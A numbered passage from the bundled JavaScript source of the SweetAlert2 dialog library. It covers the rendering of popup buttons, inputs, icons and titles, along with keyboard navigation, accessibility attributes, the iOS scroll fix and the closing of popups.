  797. setupAccessibility(params);
  798. setupRTL(targetElement);
  799. addInputChangeListeners();
  800. };
  801. const parseHtmlToContainer = (param, target) => {
  802. if (param instanceof HTMLElement) {
  803. target.appendChild(param);
  804. } else if (typeof param === "object") {
  805. handleObject(param, target);
  806. } else if (param) {
  807. setInnerHtml(target, param);
  808. }
  809. };
  810. const handleObject = (param, target) => {
  811. if (param.jquery) {
  812. handleJqueryElem(target, param);
  813. } else {
  814. setInnerHtml(target, param.toString());
  815. }
  816. };
  817. const handleJqueryElem = (target, elem) => {
  818. target.textContent = "";
  819. if (0 in elem) {
  820. for (let i = 0; i in elem; i++) {
  821. target.appendChild(elem[i].cloneNode(true));
  822. }
  823. } else {
  824. target.appendChild(elem.cloneNode(true));
  825. }
  826. };
  827. const animationEndEvent = (() => {
  828. if (isNodeEnv()) {
  829. return false;
  830. }
  831. const testEl = document.createElement("div");
  832. const transEndEventNames = {
  833. WebkitAnimation: "webkitAnimationEnd",
  834. // Chrome, Safari and Opera
  835. animation: "animationend"
  836. // Standard syntax
  837. };
  838. for (const i in transEndEventNames) {
  839. if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== "undefined") {
  840. return transEndEventNames[i];
  841. }
  842. }
  843. return false;
  844. })();
  845. const renderActions = (instance, params) => {
  846. const actions = getActions();
  847. const loader = getLoader();
  848. if (!actions || !loader) {
  849. return;
  850. }
  851. if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
  852. hide(actions);
  853. } else {
  854. show(actions);
  855. }
  856. applyCustomClass(actions, params, "actions");
  857. renderButtons(actions, loader, params);
  858. setInnerHtml(loader, params.loaderHtml || "");
  859. applyCustomClass(loader, params, "loader");
  860. };
  861. function renderButtons(actions, loader, params) {
  862. const confirmButton = getConfirmButton();
  863. const denyButton = getDenyButton();
  864. const cancelButton = getCancelButton();
  865. if (!confirmButton || !denyButton || !cancelButton) {
  866. return;
  867. }
  868. renderButton(confirmButton, "confirm", params);
  869. renderButton(denyButton, "deny", params);
  870. renderButton(cancelButton, "cancel", params);
  871. handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
  872. if (params.reverseButtons) {
  873. if (params.toast) {
  874. actions.insertBefore(cancelButton, confirmButton);
  875. actions.insertBefore(denyButton, confirmButton);
  876. } else {
  877. actions.insertBefore(cancelButton, loader);
  878. actions.insertBefore(denyButton, loader);
  879. actions.insertBefore(confirmButton, loader);
  880. }
  881. }
  882. }
  883. function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
  884. if (!params.buttonsStyling) {
  885. removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  886. return;
  887. }
  888. addClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  889. if (params.confirmButtonColor) {
  890. confirmButton.style.backgroundColor = params.confirmButtonColor;
  891. addClass(confirmButton, swalClasses["default-outline"]);
  892. }
  893. if (params.denyButtonColor) {
  894. denyButton.style.backgroundColor = params.denyButtonColor;
  895. addClass(denyButton, swalClasses["default-outline"]);
  896. }
  897. if (params.cancelButtonColor) {
  898. cancelButton.style.backgroundColor = params.cancelButtonColor;
  899. addClass(cancelButton, swalClasses["default-outline"]);
  900. }
  901. }
  902. function renderButton(button, buttonType, params) {
  903. const buttonName = (
  904. /** @type {'Confirm' | 'Deny' | 'Cancel'} */
  905. capitalizeFirstLetter(buttonType)
  906. );
  907. toggle(button, params[`show${buttonName}Button`], "inline-block");
  908. setInnerHtml(button, params[`${buttonType}ButtonText`] || "");
  909. button.setAttribute("aria-label", params[`${buttonType}ButtonAriaLabel`] || "");
  910. button.className = swalClasses[buttonType];
  911. applyCustomClass(button, params, `${buttonType}Button`);
  912. }
  913. const renderCloseButton = (instance, params) => {
  914. const closeButton = getCloseButton();
  915. if (!closeButton) {
  916. return;
  917. }
  918. setInnerHtml(closeButton, params.closeButtonHtml || "");
  919. applyCustomClass(closeButton, params, "closeButton");
  920. toggle(closeButton, params.showCloseButton);
  921. closeButton.setAttribute("aria-label", params.closeButtonAriaLabel || "");
  922. };
  923. const renderContainer = (instance, params) => {
  924. const container = getContainer();
  925. if (!container) {
  926. return;
  927. }
  928. handleBackdropParam(container, params.backdrop);
  929. handlePositionParam(container, params.position);
  930. handleGrowParam(container, params.grow);
  931. applyCustomClass(container, params, "container");
  932. };
  933. function handleBackdropParam(container, backdrop) {
  934. if (typeof backdrop === "string") {
  935. container.style.background = backdrop;
  936. } else if (!backdrop) {
  937. addClass([document.documentElement, document.body], swalClasses["no-backdrop"]);
  938. }
  939. }
  940. function handlePositionParam(container, position) {
  941. if (!position) {
  942. return;
  943. }
  944. if (position in swalClasses) {
  945. addClass(container, swalClasses[position]);
  946. } else {
  947. warn('The "position" parameter is not valid, defaulting to "center"');
  948. addClass(container, swalClasses.center);
  949. }
  950. }
  951. function handleGrowParam(container, grow) {
  952. if (!grow) {
  953. return;
  954. }
  955. addClass(container, swalClasses[`grow-${grow}`]);
  956. }
  957. const inputClasses = ["input", "file", "range", "select", "radio", "checkbox", "textarea"];
  958. const renderInput = (instance, params) => {
  959. const popup = getPopup();
  960. const innerParams = privateProps.innerParams.get(instance);
  961. const rerender = !innerParams || params.input !== innerParams.input;
  962. inputClasses.forEach((inputClass) => {
  963. const inputContainer = getDirectChildByClass(popup, swalClasses[inputClass]);
  964. setAttributes(inputClass, params.inputAttributes);
  965. inputContainer.className = swalClasses[inputClass];
  966. if (rerender) {
  967. hide(inputContainer);
  968. }
  969. });
  970. if (params.input) {
  971. if (rerender) {
  972. showInput(params);
  973. }
  974. setCustomClass(params);
  975. }
  976. };
  977. const showInput = (params) => {
  978. if (!renderInputType[params.input]) {
  979. error(`Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "${params.input}"`);
  980. return;
  981. }
  982. const inputContainer = getInputContainer(params.input);
  983. const input = renderInputType[params.input](inputContainer, params);
  984. show(inputContainer);
  985. if (params.inputAutoFocus) {
  986. setTimeout(() => {
  987. focusInput(input);
  988. });
  989. }
  990. };
  991. const removeAttributes = (input) => {
  992. for (let i = 0; i < input.attributes.length; i++) {
  993. const attrName = input.attributes[i].name;
  994. if (!["id", "type", "value", "style"].includes(attrName)) {
  995. input.removeAttribute(attrName);
  996. }
  997. }
  998. };
  999. const setAttributes = (inputClass, inputAttributes) => {
  1000. const input = getInput$1(getPopup(), inputClass);
  1001. if (!input) {
  1002. return;
  1003. }
  1004. removeAttributes(input);
  1005. for (const attr in inputAttributes) {
  1006. input.setAttribute(attr, inputAttributes[attr]);
  1007. }
  1008. };
  1009. const setCustomClass = (params) => {
  1010. const inputContainer = getInputContainer(params.input);
  1011. if (typeof params.customClass === "object") {
  1012. addClass(inputContainer, params.customClass.input);
  1013. }
  1014. };
  1015. const setInputPlaceholder = (input, params) => {
  1016. if (!input.placeholder || params.inputPlaceholder) {
  1017. input.placeholder = params.inputPlaceholder;
  1018. }
  1019. };
  1020. const setInputLabel = (input, prependTo, params) => {
  1021. if (params.inputLabel) {
  1022. const label = document.createElement("label");
  1023. const labelClass = swalClasses["input-label"];
  1024. label.setAttribute("for", input.id);
  1025. label.className = labelClass;
  1026. if (typeof params.customClass === "object") {
  1027. addClass(label, params.customClass.inputLabel);
  1028. }
  1029. label.innerText = params.inputLabel;
  1030. prependTo.insertAdjacentElement("beforebegin", label);
  1031. }
  1032. };
  1033. const getInputContainer = (inputType) => {
  1034. return getDirectChildByClass(getPopup(), swalClasses[inputType] || swalClasses.input);
  1035. };
  1036. const checkAndSetInputValue = (input, inputValue) => {
  1037. if (["string", "number"].includes(typeof inputValue)) {
  1038. input.value = `${inputValue}`;
  1039. } else if (!isPromise(inputValue)) {
  1040. warn(`Unexpected type of inputValue! Expected "string", "number" or "Promise", got "${typeof inputValue}"`);
  1041. }
  1042. };
  1043. const renderInputType = {};
  1044. renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = (input, params) => {
  1045. checkAndSetInputValue(input, params.inputValue);
  1046. setInputLabel(input, input, params);
  1047. setInputPlaceholder(input, params);
  1048. input.type = params.input;
  1049. return input;
  1050. };
  1051. renderInputType.file = (input, params) => {
  1052. setInputLabel(input, input, params);
  1053. setInputPlaceholder(input, params);
  1054. return input;
  1055. };
  1056. renderInputType.range = (range, params) => {
  1057. const rangeInput = range.querySelector("input");
  1058. const rangeOutput = range.querySelector("output");
  1059. checkAndSetInputValue(rangeInput, params.inputValue);
  1060. rangeInput.type = params.input;
  1061. checkAndSetInputValue(rangeOutput, params.inputValue);
  1062. setInputLabel(rangeInput, range, params);
  1063. return range;
  1064. };
  1065. renderInputType.select = (select, params) => {
  1066. select.textContent = "";
  1067. if (params.inputPlaceholder) {
  1068. const placeholder = document.createElement("option");
  1069. setInnerHtml(placeholder, params.inputPlaceholder);
  1070. placeholder.value = "";
  1071. placeholder.disabled = true;
  1072. placeholder.selected = true;
  1073. select.appendChild(placeholder);
  1074. }
  1075. setInputLabel(select, select, params);
  1076. return select;
  1077. };
  1078. renderInputType.radio = (radio) => {
  1079. radio.textContent = "";
  1080. return radio;
  1081. };
  1082. renderInputType.checkbox = (checkboxContainer, params) => {
  1083. const checkbox = getInput$1(getPopup(), "checkbox");
  1084. checkbox.value = "1";
  1085. checkbox.checked = Boolean(params.inputValue);
  1086. const label = checkboxContainer.querySelector("span");
  1087. setInnerHtml(label, params.inputPlaceholder);
  1088. return checkbox;
  1089. };
  1090. renderInputType.textarea = (textarea, params) => {
  1091. checkAndSetInputValue(textarea, params.inputValue);
  1092. setInputPlaceholder(textarea, params);
  1093. setInputLabel(textarea, textarea, params);
  1094. const getMargin = (el) => parseInt(window.getComputedStyle(el).marginLeft) + parseInt(window.getComputedStyle(el).marginRight);
  1095. setTimeout(() => {
  1096. if ("MutationObserver" in window) {
  1097. const initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
  1098. const textareaResizeHandler = () => {
  1099. if (!document.body.contains(textarea)) {
  1100. return;
  1101. }
  1102. const textareaWidth = textarea.offsetWidth + getMargin(textarea);
  1103. if (textareaWidth > initialPopupWidth) {
  1104. getPopup().style.width = `${textareaWidth}px`;
  1105. } else {
  1106. applyNumericalStyle(getPopup(), "width", params.width);
  1107. }
  1108. };
  1109. new MutationObserver(textareaResizeHandler).observe(textarea, {
  1110. attributes: true,
  1111. attributeFilter: ["style"]
  1112. });
  1113. }
  1114. });
  1115. return textarea;
  1116. };
  1117. const renderContent = (instance, params) => {
  1118. const htmlContainer = getHtmlContainer();
  1119. if (!htmlContainer) {
  1120. return;
  1121. }
  1122. applyCustomClass(htmlContainer, params, "htmlContainer");
  1123. if (params.html) {
  1124. parseHtmlToContainer(params.html, htmlContainer);
  1125. show(htmlContainer, "block");
  1126. } else if (params.text) {
  1127. htmlContainer.textContent = params.text;
  1128. show(htmlContainer, "block");
  1129. } else {
  1130. hide(htmlContainer);
  1131. }
  1132. renderInput(instance, params);
  1133. };
  1134. const renderFooter = (instance, params) => {
  1135. const footer = getFooter();
  1136. if (!footer) {
  1137. return;
  1138. }
  1139. toggle(footer, params.footer);
  1140. if (params.footer) {
  1141. parseHtmlToContainer(params.footer, footer);
  1142. }
  1143. applyCustomClass(footer, params, "footer");
  1144. };
  1145. const renderIcon = (instance, params) => {
  1146. const innerParams = privateProps.innerParams.get(instance);
  1147. const icon = getIcon();
  1148. if (!icon) {
  1149. return;
  1150. }
  1151. if (innerParams && params.icon === innerParams.icon) {
  1152. setContent(icon, params);
  1153. applyStyles(icon, params);
  1154. return;
  1155. }
  1156. if (!params.icon && !params.iconHtml) {
  1157. hide(icon);
  1158. return;
  1159. }
  1160. if (params.icon && Object.keys(iconTypes).indexOf(params.icon) === -1) {
  1161. error(`Unknown icon! Expected "success", "error", "warning", "info" or "question", got "${params.icon}"`);
  1162. hide(icon);
  1163. return;
  1164. }
  1165. show(icon);
  1166. setContent(icon, params);
  1167. applyStyles(icon, params);
  1168. addClass(icon, params.showClass && params.showClass.icon);
  1169. };
  1170. const applyStyles = (icon, params) => {
  1171. for (const [iconType, iconClassName] of Object.entries(iconTypes)) {
  1172. if (params.icon !== iconType) {
  1173. removeClass(icon, iconClassName);
  1174. }
  1175. }
  1176. addClass(icon, params.icon && iconTypes[params.icon]);
  1177. setColor(icon, params);
  1178. adjustSuccessIconBackgroundColor();
  1179. applyCustomClass(icon, params, "icon");
  1180. };
  1181. const adjustSuccessIconBackgroundColor = () => {
  1182. const popup = getPopup();
  1183. if (!popup) {
  1184. return;
  1185. }
  1186. const popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue("background-color");
  1187. const successIconParts = popup.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix");
  1188. for (let i = 0; i < successIconParts.length; i++) {
  1189. successIconParts[i].style.backgroundColor = popupBackgroundColor;
  1190. }
  1191. };
  1192. const successIconHtml = `
  1193. <div class="swal2-success-circular-line-left"></div>
  1194. <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>
  1195. <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>
  1196. <div class="swal2-success-circular-line-right"></div>
  1197. `;
  1198. const errorIconHtml = `
  1199. <span class="swal2-x-mark">
  1200. <span class="swal2-x-mark-line-left"></span>
  1201. <span class="swal2-x-mark-line-right"></span>
  1202. </span>
  1203. `;
  1204. const setContent = (icon, params) => {
  1205. if (!params.icon) {
  1206. return;
  1207. }
  1208. let oldContent = icon.innerHTML;
  1209. let newContent;
  1210. if (params.iconHtml) {
  1211. newContent = iconContent(params.iconHtml);
  1212. } else if (params.icon === "success") {
  1213. newContent = successIconHtml;
  1214. oldContent = oldContent.replace(/ style=".*?"/g, "");
  1215. } else if (params.icon === "error") {
  1216. newContent = errorIconHtml;
  1217. } else {
  1218. const defaultIconHtml = {
  1219. question: "?",
  1220. warning: "!",
  1221. info: "i"
  1222. };
  1223. newContent = iconContent(defaultIconHtml[params.icon]);
  1224. }
  1225. if (oldContent.trim() !== newContent.trim()) {
  1226. setInnerHtml(icon, newContent);
  1227. }
  1228. };
  1229. const setColor = (icon, params) => {
  1230. if (!params.iconColor) {
  1231. return;
  1232. }
  1233. icon.style.color = params.iconColor;
  1234. icon.style.borderColor = params.iconColor;
  1235. for (const sel of [".swal2-success-line-tip", ".swal2-success-line-long", ".swal2-x-mark-line-left", ".swal2-x-mark-line-right"]) {
  1236. setStyle(icon, sel, "backgroundColor", params.iconColor);
  1237. }
  1238. setStyle(icon, ".swal2-success-ring", "borderColor", params.iconColor);
  1239. };
  1240. const iconContent = (content) => `<div class="${swalClasses["icon-content"]}">${content}</div>`;
  1241. const renderImage = (instance, params) => {
  1242. const image = getImage();
  1243. if (!image) {
  1244. return;
  1245. }
  1246. if (!params.imageUrl) {
  1247. hide(image);
  1248. return;
  1249. }
  1250. show(image, "");
  1251. image.setAttribute("src", params.imageUrl);
  1252. image.setAttribute("alt", params.imageAlt || "");
  1253. applyNumericalStyle(image, "width", params.imageWidth);
  1254. applyNumericalStyle(image, "height", params.imageHeight);
  1255. image.className = swalClasses.image;
  1256. applyCustomClass(image, params, "image");
  1257. };
  1258. const renderPopup = (instance, params) => {
  1259. const container = getContainer();
  1260. const popup = getPopup();
  1261. if (!container || !popup) {
  1262. return;
  1263. }
  1264. if (params.toast) {
  1265. applyNumericalStyle(container, "width", params.width);
  1266. popup.style.width = "100%";
  1267. const loader = getLoader();
  1268. loader && popup.insertBefore(loader, getIcon());
  1269. } else {
  1270. applyNumericalStyle(popup, "width", params.width);
  1271. }
  1272. applyNumericalStyle(popup, "padding", params.padding);
  1273. if (params.color) {
  1274. popup.style.color = params.color;
  1275. }
  1276. if (params.background) {
  1277. popup.style.background = params.background;
  1278. }
  1279. hide(getValidationMessage());
  1280. addClasses$1(popup, params);
  1281. };
  1282. const addClasses$1 = (popup, params) => {
  1283. const showClass = params.showClass || {};
  1284. popup.className = `${swalClasses.popup} ${isVisible$1(popup) ? showClass.popup : ""}`;
  1285. if (params.toast) {
  1286. addClass([document.documentElement, document.body], swalClasses["toast-shown"]);
  1287. addClass(popup, swalClasses.toast);
  1288. } else {
  1289. addClass(popup, swalClasses.modal);
  1290. }
  1291. applyCustomClass(popup, params, "popup");
  1292. if (typeof params.customClass === "string") {
  1293. addClass(popup, params.customClass);
  1294. }
  1295. if (params.icon) {
  1296. addClass(popup, swalClasses[`icon-${params.icon}`]);
  1297. }
  1298. };
  1299. const renderProgressSteps = (instance, params) => {
  1300. const progressStepsContainer = getProgressSteps();
  1301. if (!progressStepsContainer) {
  1302. return;
  1303. }
  1304. const {
  1305. progressSteps,
  1306. currentProgressStep
  1307. } = params;
  1308. if (!progressSteps || progressSteps.length === 0 || currentProgressStep === void 0) {
  1309. hide(progressStepsContainer);
  1310. return;
  1311. }
  1312. show(progressStepsContainer);
  1313. progressStepsContainer.textContent = "";
  1314. if (currentProgressStep >= progressSteps.length) {
  1315. warn("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)");
  1316. }
  1317. progressSteps.forEach((step, index) => {
  1318. const stepEl = createStepElement(step);
  1319. progressStepsContainer.appendChild(stepEl);
  1320. if (index === currentProgressStep) {
  1321. addClass(stepEl, swalClasses["active-progress-step"]);
  1322. }
  1323. if (index !== progressSteps.length - 1) {
  1324. const lineEl = createLineElement(params);
  1325. progressStepsContainer.appendChild(lineEl);
  1326. }
  1327. });
  1328. };
  1329. const createStepElement = (step) => {
  1330. const stepEl = document.createElement("li");
  1331. addClass(stepEl, swalClasses["progress-step"]);
  1332. setInnerHtml(stepEl, step);
  1333. return stepEl;
  1334. };
  1335. const createLineElement = (params) => {
  1336. const lineEl = document.createElement("li");
  1337. addClass(lineEl, swalClasses["progress-step-line"]);
  1338. if (params.progressStepsDistance) {
  1339. applyNumericalStyle(lineEl, "width", params.progressStepsDistance);
  1340. }
  1341. return lineEl;
  1342. };
  1343. const renderTitle = (instance, params) => {
  1344. const title = getTitle();
  1345. if (!title) {
  1346. return;
  1347. }
  1348. toggle(title, params.title || params.titleText, "block");
  1349. if (params.title) {
  1350. parseHtmlToContainer(params.title, title);
  1351. }
  1352. if (params.titleText) {
  1353. title.innerText = params.titleText;
  1354. }
  1355. applyCustomClass(title, params, "title");
  1356. };
  1357. const render = (instance, params) => {
  1358. renderPopup(instance, params);
  1359. renderContainer(instance, params);
  1360. renderProgressSteps(instance, params);
  1361. renderIcon(instance, params);
  1362. renderImage(instance, params);
  1363. renderTitle(instance, params);
  1364. renderCloseButton(instance, params);
  1365. renderContent(instance, params);
  1366. renderActions(instance, params);
  1367. renderFooter(instance, params);
  1368. const popup = getPopup();
  1369. if (typeof params.didRender === "function" && popup) {
  1370. params.didRender(popup);
  1371. }
  1372. };
  1373. const isVisible = () => {
  1374. return isVisible$1(getPopup());
  1375. };
  1376. const clickConfirm = () => getConfirmButton() && getConfirmButton().click();
  1377. const clickDeny = () => getDenyButton() && getDenyButton().click();
  1378. const clickCancel = () => getCancelButton() && getCancelButton().click();
  1379. const DismissReason = Object.freeze({
  1380. cancel: "cancel",
  1381. backdrop: "backdrop",
  1382. close: "close",
  1383. esc: "esc",
  1384. timer: "timer"
  1385. });
  1386. const removeKeydownHandler = (globalState2) => {
  1387. if (globalState2.keydownTarget && globalState2.keydownHandlerAdded) {
  1388. globalState2.keydownTarget.removeEventListener("keydown", globalState2.keydownHandler, {
  1389. capture: globalState2.keydownListenerCapture
  1390. });
  1391. globalState2.keydownHandlerAdded = false;
  1392. }
  1393. };
  1394. const addKeydownHandler = (instance, globalState2, innerParams, dismissWith) => {
  1395. removeKeydownHandler(globalState2);
  1396. if (!innerParams.toast) {
  1397. globalState2.keydownHandler = (e) => keydownHandler(instance, e, dismissWith);
  1398. globalState2.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
  1399. globalState2.keydownListenerCapture = innerParams.keydownListenerCapture;
  1400. globalState2.keydownTarget.addEventListener("keydown", globalState2.keydownHandler, {
  1401. capture: globalState2.keydownListenerCapture
  1402. });
  1403. globalState2.keydownHandlerAdded = true;
  1404. }
  1405. };
  1406. const setFocus = (index, increment) => {
  1407. const focusableElements = getFocusableElements();
  1408. if (focusableElements.length) {
  1409. index = index + increment;
  1410. if (index === focusableElements.length) {
  1411. index = 0;
  1412. } else if (index === -1) {
  1413. index = focusableElements.length - 1;
  1414. }
  1415. focusableElements[index].focus();
  1416. return;
  1417. }
  1418. getPopup().focus();
  1419. };
  1420. const arrowKeysNextButton = ["ArrowRight", "ArrowDown"];
  1421. const arrowKeysPreviousButton = ["ArrowLeft", "ArrowUp"];
  1422. const keydownHandler = (instance, event, dismissWith) => {
  1423. const innerParams = privateProps.innerParams.get(instance);
  1424. if (!innerParams) {
  1425. return;
  1426. }
  1427. if (event.isComposing || event.keyCode === 229) {
  1428. return;
  1429. }
  1430. if (innerParams.stopKeydownPropagation) {
  1431. event.stopPropagation();
  1432. }
  1433. if (event.key === "Enter") {
  1434. handleEnter(instance, event, innerParams);
  1435. } else if (event.key === "Tab") {
  1436. handleTab(event);
  1437. } else if ([...arrowKeysNextButton, ...arrowKeysPreviousButton].includes(event.key)) {
  1438. handleArrows(event.key);
  1439. } else if (event.key === "Escape") {
  1440. handleEsc(event, innerParams, dismissWith);
  1441. }
  1442. };
  1443. const handleEnter = (instance, event, innerParams) => {
  1444. if (!callIfFunction(innerParams.allowEnterKey)) {
  1445. return;
  1446. }
  1447. if (event.target && instance.getInput() && event.target instanceof HTMLElement && event.target.outerHTML === instance.getInput().outerHTML) {
  1448. if (["textarea", "file"].includes(innerParams.input)) {
  1449. return;
  1450. }
  1451. clickConfirm();
  1452. event.preventDefault();
  1453. }
  1454. };
  1455. const handleTab = (event) => {
  1456. const targetElement = event.target;
  1457. const focusableElements = getFocusableElements();
  1458. let btnIndex = -1;
  1459. for (let i = 0; i < focusableElements.length; i++) {
  1460. if (targetElement === focusableElements[i]) {
  1461. btnIndex = i;
  1462. break;
  1463. }
  1464. }
  1465. if (!event.shiftKey) {
  1466. setFocus(btnIndex, 1);
  1467. } else {
  1468. setFocus(btnIndex, -1);
  1469. }
  1470. event.stopPropagation();
  1471. event.preventDefault();
  1472. };
  1473. const handleArrows = (key) => {
  1474. const confirmButton = getConfirmButton();
  1475. const denyButton = getDenyButton();
  1476. const cancelButton = getCancelButton();
  1477. const buttons = [confirmButton, denyButton, cancelButton];
  1478. if (document.activeElement instanceof HTMLElement && !buttons.includes(document.activeElement)) {
  1479. return;
  1480. }
  1481. const sibling = arrowKeysNextButton.includes(key) ? "nextElementSibling" : "previousElementSibling";
  1482. let buttonToFocus = document.activeElement;
  1483. for (let i = 0; i < getActions().children.length; i++) {
  1484. buttonToFocus = buttonToFocus[sibling];
  1485. if (!buttonToFocus) {
  1486. return;
  1487. }
  1488. if (buttonToFocus instanceof HTMLButtonElement && isVisible$1(buttonToFocus)) {
  1489. break;
  1490. }
  1491. }
  1492. if (buttonToFocus instanceof HTMLButtonElement) {
  1493. buttonToFocus.focus();
  1494. }
  1495. };
  1496. const handleEsc = (event, innerParams, dismissWith) => {
  1497. if (callIfFunction(innerParams.allowEscapeKey)) {
  1498. event.preventDefault();
  1499. dismissWith(DismissReason.esc);
  1500. }
  1501. };
  1502. var privateMethods = {
  1503. swalPromiseResolve: /* @__PURE__ */ new WeakMap(),
  1504. swalPromiseReject: /* @__PURE__ */ new WeakMap()
  1505. };
  1506. const setAriaHidden = () => {
  1507. const bodyChildren = Array.from(document.body.children);
  1508. bodyChildren.forEach((el) => {
  1509. if (el === getContainer() || el.contains(getContainer())) {
  1510. return;
  1511. }
  1512. if (el.hasAttribute("aria-hidden")) {
  1513. el.setAttribute("data-previous-aria-hidden", el.getAttribute("aria-hidden") || "");
  1514. }
  1515. el.setAttribute("aria-hidden", "true");
  1516. });
  1517. };
  1518. const unsetAriaHidden = () => {
  1519. const bodyChildren = Array.from(document.body.children);
  1520. bodyChildren.forEach((el) => {
  1521. if (el.hasAttribute("data-previous-aria-hidden")) {
  1522. el.setAttribute("aria-hidden", el.getAttribute("data-previous-aria-hidden") || "");
  1523. el.removeAttribute("data-previous-aria-hidden");
  1524. } else {
  1525. el.removeAttribute("aria-hidden");
  1526. }
  1527. });
  1528. };
  1529. const isSafariOrIOS = typeof window !== "undefined" && !!window.GestureEvent;
  1530. const iOSfix = () => {
  1531. if (isSafariOrIOS && !hasClass(document.body, swalClasses.iosfix)) {
  1532. const offset = document.body.scrollTop;
  1533. document.body.style.top = `${offset * -1}px`;
  1534. addClass(document.body, swalClasses.iosfix);
  1535. lockBodyScroll();
  1536. }
  1537. };
  1538. const lockBodyScroll = () => {
  1539. const container = getContainer();
  1540. let preventTouchMove;
  1541. container.ontouchstart = (event) => {
  1542. preventTouchMove = shouldPreventTouchMove(event);
  1543. };
  1544. container.ontouchmove = (event) => {
  1545. if (preventTouchMove) {
  1546. event.preventDefault();
  1547. event.stopPropagation();
  1548. }
  1549. };
  1550. };
  1551. const shouldPreventTouchMove = (event) => {
  1552. const target = event.target;
  1553. const container = getContainer();
  1554. if (isStylus(event) || isZoom(event)) {
  1555. return false;
  1556. }
  1557. if (target === container) {
  1558. return true;
  1559. }
  1560. if (!isScrollable(container) && target instanceof HTMLElement && target.tagName !== "INPUT" && // #1603
  1561. target.tagName !== "TEXTAREA" && // #2266
  1562. !(isScrollable(getHtmlContainer()) && // #1944
  1563. getHtmlContainer().contains(target))) {
  1564. return true;
  1565. }
  1566. return false;
  1567. };
  1568. const isStylus = (event) => {
  1569. return event.touches && event.touches.length && event.touches[0].touchType === "stylus";
  1570. };
  1571. const isZoom = (event) => {
  1572. return event.touches && event.touches.length > 1;
  1573. };
  1574. const undoIOSfix = () => {
  1575. if (hasClass(document.body, swalClasses.iosfix)) {
  1576. const offset = parseInt(document.body.style.top, 10);
  1577. removeClass(document.body, swalClasses.iosfix);
  1578. document.body.style.top = "";
  1579. document.body.scrollTop = offset * -1;
  1580. }
  1581. };
  1582. const measureScrollbar = () => {
  1583. const scrollDiv = document.createElement("div");
  1584. scrollDiv.className = swalClasses["scrollbar-measure"];
  1585. document.body.appendChild(scrollDiv);
  1586. const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
  1587. document.body.removeChild(scrollDiv);
  1588. return scrollbarWidth;
  1589. };
  1590. let previousBodyPadding = null;
  1591. const fixScrollbar = () => {
  1592. if (previousBodyPadding !== null) {
  1593. return;
  1594. }
  1595. if (document.body.scrollHeight > window.innerHeight) {
  1596. previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right"));
  1597. document.body.style.paddingRight = `${previousBodyPadding + measureScrollbar()}px`;
  1598. }
  1599. };
  1600. const undoScrollbar = () => {
  1601. if (previousBodyPadding !== null) {
  1602. document.body.style.paddingRight = `${previousBodyPadding}px`;
  1603. previousBodyPadding = null;
  1604. }
  1605. };
  1606. function removePopupAndResetState(instance, container, returnFocus, didClose) {
  1607. if (isToast()) {
  1608. triggerDidCloseAndDispose(instance, didClose);
  1609. } else {
  1610. restoreActiveElement(returnFocus).then(() => triggerDidCloseAndDispose(instance, didClose));
  1611. removeKeydownHandler(globalState);
  1612. }
  1613. if (isSafariOrIOS) {
  1614. container.setAttribute("style", "display:none !important");
  1615. container.removeAttribute("class");
  1616. container.innerHTML = "";
  1617. } else {
  1618. container.remove();
  1619. }
  1620. if (isModal()) {
  1621. undoScrollbar();
  1622. undoIOSfix();
  1623. unsetAriaHidden();
  1624. }
  1625. removeBodyClasses();
  1626. }
  1627. function removeBodyClasses() {
  1628. removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses["height-auto"], swalClasses["no-backdrop"], swalClasses["toast-shown"]]);
  1629. }
  1630. function close(resolveValue) {
  1631. resolveValue = prepareResolveValue(resolveValue);
  1632. const swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
  1633. const didClose = triggerClosePopup(this);
  1634. if (this.isAwaitingPromise) {
  1635. if (!resolveValue.isDismissed) {
  1636. handleAwaitingPromise(this);
  1637. swalPromiseResolve(resolveValue);
  1638. }
  1639. } else if (didClose) {
  1640. swalPromiseResolve(resolveValue);
  1641. }
  1642. }
  1643. const triggerClosePopup = (instance) => {
  1644. const popup = getPopup();
  1645. if (!popup) {
  1646. return false;
  1647. }
  1648. const innerParams = privateProps.innerParams.get(instance);
  1649. if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
  1650. return false;
  1651. }
  1652. removeClass(popup, innerParams.showClass.popup);
  1653. addClass(popup, innerParams.hideClass.popup);
  1654. const backdrop = getContainer();
  1655. removeClass(backdrop, innerParams.showClass.backdrop);
  1656. addClass(backdrop, innerParams.hideClass.backdrop);
  1657. handlePopupAnimation(instance, popup, innerParams);
  1658. return true;
  1659. };
  1660. function rejectPromise(error2) {
  1661. const rejectPromise2 = privateMethods.swalPromiseReject.get(this);
  1662. handleAwaitingPromise(this);
  1663. if (rejectPromise2) {
  1664. rejectPromise2(error2);
  1665. }
  1666. }
  1667. const handleAwaitingPromise = (instance) => {
  1668. if (instance.isAwaitingPromise) {
  1669. delete instance.isAwaitingPromise;
  1670. if (!privateProps.innerParams.get(instance)) {
  1671. instance._destroy();
  1672. }
  1673. }
  1674. };
  1675. const prepareResolveValue = (resolveValue) => {
  1676. if (typeof resolveValue === "undefined") {
  1677. return {
  1678. isConfirmed: false,
  1679. isDenied: false,
  1680. isDismissed: true
  1681. };
  1682. }
  1683. return Object.assign({
  1684. isConfirmed: false,
  1685. isDenied: false,
  1686. isDismissed: false
  1687. }, resolveValue);
  1688. };
  1689. const handlePopupAnimation = (instance, popup, innerParams) => {
  1690. const container = getContainer();
  1691. const animationIsSupported = animationEndEvent && hasCssAnimation(popup);
